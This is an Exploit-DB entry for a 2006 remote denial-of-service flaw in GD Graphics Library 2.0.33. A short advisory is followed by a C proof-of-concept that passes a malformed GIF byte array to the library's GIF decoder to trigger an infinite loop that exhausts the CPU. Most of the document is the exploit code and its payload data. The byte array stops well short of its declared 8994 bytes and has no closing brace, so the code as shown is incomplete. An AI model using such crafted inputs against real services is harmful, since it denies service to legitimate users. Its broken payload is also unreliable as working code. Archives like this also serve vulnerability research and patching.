Exploit-DB #27981
Description: GD Graphics Library 2.0.33 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2006-06-06
Author: Xavier Roche

Exploit:
// source: https://www.securityfocus.com/bid/18294/info

The GD Graphics Library is prone to a denial-of-service vulnerability. Attackers can trigger an infinite-loop condition when the library tries to handle malformed image files.

This issue allows attackers to consume excessive CPU resources on computers that use the affected software. This may deny service to legitimate users.

GD version 2.0.33 is vulnerable to this issue; other versions may also be affected.

/* id: gdbad.c, Xavier Roche, May. 2006 */
/* gcc gdbad.c -o bad -lgd && ./bad */

#include <stdio.h>
#include <stdlib.h>
#include "gd.h"

static const unsigned char gifdata[8994];
int main(void) {
  gdImagePtr im;
  if ( ( im = gdImageCreateFromGifPtr(8994,
          (char*) &gifdata[0]) ) != NULL) {
    fprintf(stderr, "success!\n");
    gdImageDestroy(im);
  } else {
    fprintf(stderr, "failed!\n");
  }
  return 0;
}

/* GIF data (image taken from
<http://www.alltooflat.com/geeky/elgoog/m/imgdb/351/intl%5Een%5Eimages%5Elogo.gif>)
*/
static const unsigned char gifdata[8994] = {71,73,70,56,55,97,20,1,110,
0,247,0,0,247,247,247,255,251,255,231,231,231,214,211,214,239,235,239,
206,203,206,173,20,0,222,219,222,24,69,173,24,73,181,16,52,132,16,60,
148,198,24,0,181,178,181,247,243,247,140,16,0,198,190,189,189,186,189,
24,77,198,231,227,231,239,239,239,198,195,198,247,243,239,189,190,189,
198,199,198,8,81,8,206,207,206,8,36,99,33,89,214,214,36,8,214,215,214,
24,81,206,156,158,156,239,186,0,222,223,222,0,101,0,214,174,0,99,150,
239,49,101,214,74,125,231,8,60,165,181,182,181,156,154,156,115,162,239,
222,223,231,57,113,222,107,12,0,0,125,8,255,207,0,189,182,189,173,166,
173,165,162,165,231,73,49,41,81,181,255,117,99,189,150,0,90,138,239,165,
166,165,16,69,181,173,170,173,198,158,0,173,174,173,247,105,82,231,60,
33,253,253,253,239,89,66,99,211,99,222,48,24,90,203,90,181,36,16,132,
170,247,249,249,249,148,121,0,16,150,24,181,142,0,132,105,0,99,81,0,41,
73,148,173,134,0,189,44,24,107,44,33,49,182,57,165,130,0,173,199,247,
206,60,41,165,190,239,173,170,165,198,215,255,189,227,189,99,121,164,
107,211,115,247,134,115,255,239,8,90,105,124,140,32,16,148,65,49,132,
134,148,247,150,132,148,146,140,115,121,140,198,146,140,165,166,173,189,
207,239,206,213,214,41,65,107,132,125,115,217,215,203,234,234,234,123,
77,66,239,242,247,148,174,222,203,206,214,74,97,148,132,154,214,222,219,
214,247,251,255,123,134,173,165,134,123,23,64,154,140,146,148,57,186,66,
181,178,173,165,170,173,24,162,33,107,105,107,66,195,74,218,229,255,82,
109,173,198,199,206,156,101,90,123,101,82,73,85,115,59,89,147,123,219,
132,132,146,181,247,223,90,231,235,239,206,174,165,89,129,214,214,182,
181,165,182,214,210,210,210,247,186,173,222,227,231,57,97,181,247,166,
156,148,158,181,231,231,239,194,194,195,181,182,189,217,217,217,181,69,
49,255,247,255,247,247,255,198,117,107,214,219,231,214,219,221,225,225,
225,173,150,140,206,199,198,132,117,57,33,170,41,181,186,198,244,244,
244,156,134,66,181,195,222,255,235,231,231,228,222,206,235,206,231,219,
222,173,178,181,247,215,41,181,162,99,168,167,167,90,117,90,181,166,140,
255,203,198,115,142,206,192,191,191,239,231,231,170,146,49,247,215,206,
189,158,16,255,247,132,241,241,241,255,255,247,206,211,231,185,184,185,
181,89,74,25,57,127,222,203,140,239,199,41,13,55,146,206,195,165,214,
101,90,255,239,49,222,203,198,165,174,189,231,235,255,206,174,41,222,
186,66,12,50,133,201,201,201,255,243,181,178,177,178,181,170,165,239,
247,239,255,243,239,255,255,239,156,211,165,255,247,247,180,179,178,247,
231,214,140,203,140,239,227,148,222,239,222,165,164,163,173,142,16,239,
235,231,255,251,222,214,215,222,247,247,239,10,45,119,90,170,99,25,77,
189,140,174,140,222,215,214,162,160,160,123,150,123,146,148,154,66,142,
66,22,74,190,41,93,49,24,121,33,154,153,153,197,196,193,157,154,153,166,
163,160,215,212,209,3,26,76,11,34,87,148,147,149,42,62,109,152,155,165,
43,98,218,155,153,151,155,182,242,145,172,230,154,155,159,209,221,243,
247,235,247,133,133,139,184,181,176,24,46,97,243,244,246,255,255,255,44,
0,0,0,0,20,1,110,0,0,8,255,0,255,9,28,72,176,160,193,131,8,19,42,92,200,
176,161,195,135,16,35,74,156,72,177,162,197,139,24,51,106,220,200,177,
163,199,143,32,67,138,28,73,178,164,201,147,40,83,170,92,201,178,165,
203,151,48,99,202,156,73,179,166,205,155,56,115,234,220,201,179,167,207,
159,64,131,10,29,74,180,168,81,154,136,190,41,253,70,132,136,22,45,133,
162,22,194,114,180,170,213,151,156,204,141,120,241,34,73,168,62,66,158,
106,9,75,245,170,217,133,153,140,93,49,51,165,138,219,42,83,204,92,49,
54,231,236,193,0,0,48,233,213,218,245,43,212,168,66,250,68,193,19,205,
153,221,179,20,116,85,41,113,194,4,7,9,9,18,232,152,28,57,129,4,14,38,
20,25,49,147,233,48,94,11,4,38,16,168,144,97,107,146,40,78,11,85,139,
198,186,90,181,178,135,137,226,221,196,72,145,227,15,184,63,64,78,128,
162,183,111,223,146,117,124,48,81,98,138,49,179,1,28,8,56,160,161,64,1,
116,165,95,236,193,211,52,154,62,76,177,171,78,114,211,130,195,7,14,224,
193,75,255,144,160,163,55,130,38,132,224,252,249,3,135,80,147,5,11,80,
32,184,204,225,196,138,43,86,147,11,240,128,33,70,10,232,35,140,224,21,
30,120,84,147,138,0,22,0,144,221,80,186,196,226,29,110,225,237,38,31,33,
89,72,82,9,6,26,168,225,129,28,28,14,0,136,36,89,16,2,95,13,152,181,80,
2,126,71,129,118,64,5,13,244,0,93,116,123,12,166,197,1,44,16,160,224,
130,63,109,162,200,120,16,122,183,219,121,89,148,1,65,5,16,64,112,193,
145,69,14,137,161,28,34,28,32,74,22,35,154,208,130,125,126,24,21,0,5,34,
176,40,131,43,25,192,136,71,31,90,164,82,227,141,56,234,132,151,33,8,
160,96,89,110,227,241,134,64,144,41,52,32,103,4,116,214,105,231,5,69,98,
48,128,8,128,100,161,192,2,53,76,137,67,21,157,17,165,220,0,41,108,217,
229,86,95,17,81,8,1,20,56,64,102,153,56,29,208,132,2,10,200,103,217,143,
40,16,162,130,156,13,164,144,39,6,164,146,58,100,157,49,248,119,164,6,
114,84,66,136,2,8,152,255,112,2,14,43,84,57,84,0,251,37,202,101,116,95,
9,81,136,3,120,81,154,19